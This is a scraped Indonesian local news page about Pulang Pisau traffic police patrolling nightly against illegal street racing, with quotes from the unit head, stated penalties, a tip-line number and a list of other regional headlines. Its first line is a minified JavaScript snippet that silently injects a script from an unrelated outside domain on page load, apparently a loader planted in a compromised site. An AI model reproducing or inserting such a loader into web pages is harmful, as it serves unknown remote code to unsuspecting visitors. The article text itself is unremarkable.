(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Pulang Pisau

Resahkan Warga, Aksi Balap Liar Terus Diburu Polres Pulpis


PULANG PISAU, Mencegah terjadinya aksi kriminalitas jalanan seperti aksi balapan liar, Satuan Lalu lintas (Sat Lantas) Polres Pulang Pisau menggelar patroli setiap malam di sejumlah ruas jalan di kota Pulang Pisau. Disinyalir saat Minggu malam dan Kamis malam disebut-sebut hari rawan aksi balapan liar di jalanan.

“Atas perintah Kapolres  Pulang Pisau AKBP  Siswo Yuwono BPM, kami terus rutin melakukan patroli lalu lintas. Khususnya titik-titik yang selama ini sering dilaporkan masyarakat menjadi tempat aksi balapan liar. Seperti di ruas jalan Darung Bawan, jalan Tingang Menteng hingga menyisir tempat ramai seperti di Taman Sumbu Kurung dan taman samping rujab. Sejak giat patroli meningkat, alhamdulillah keluhan aksi balapan liar sekarang mulai turun,” ungkap Kasatlantas Polres Pulang Pisau Iptu Suprianto.

Dikatakan Iptu Suprianto, balapan liar merupakan bentuk aksi yang sangat berbahaya. Selain dapat menciderai diri sendiri juga mengganggu ketertiban pengendara lainnya. Tidak sedikit akibat dari kebut-kebutan tersebut berujung kecelakaan hingga meninggal dunia. Polres Pulpis tegas akan menindak jika masih kedapatan ada aksi balapan liar di Pulang Pisau.

Kasatlantas Polres Pulang Pisau Iptu Suprianto. Foto : polres pulpis

“Di beberapa ruas jalan sudah terpasang CCTV. Jika pelaku tertangkap, maka akan ada sanksi berupaya denda hingga penahanan barang bukti dan hukuman kurungan bagi pelaku hingga 3 bulan,” ujarnya. Ini sesuai dengan pasal 115 Undang-Undang Nomor 22 tahun 2009 tentang Lalu Lintas dan Angkutan Jalan.

“Saran saya daripada balapan liar, mending salurkan untuk hal-hal yang positif. Misalnya usulkan arena balap, itu lebih bagus,” kata Suprianto.

Pihaknya mengaku siap menerima laporan masyarakat, jika melihat ada aksi balapan liar ataupun kejadian kecelakaan lalu lintas di wilayah hukum Pulang Pisau dengan nomor Ponsel pribadinya di +62 813-4904-9986. Petugas lalu lintas akan dikatakannya akan sigap turun melayani masyarakat. (sjy)

Reporter : Sjy
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.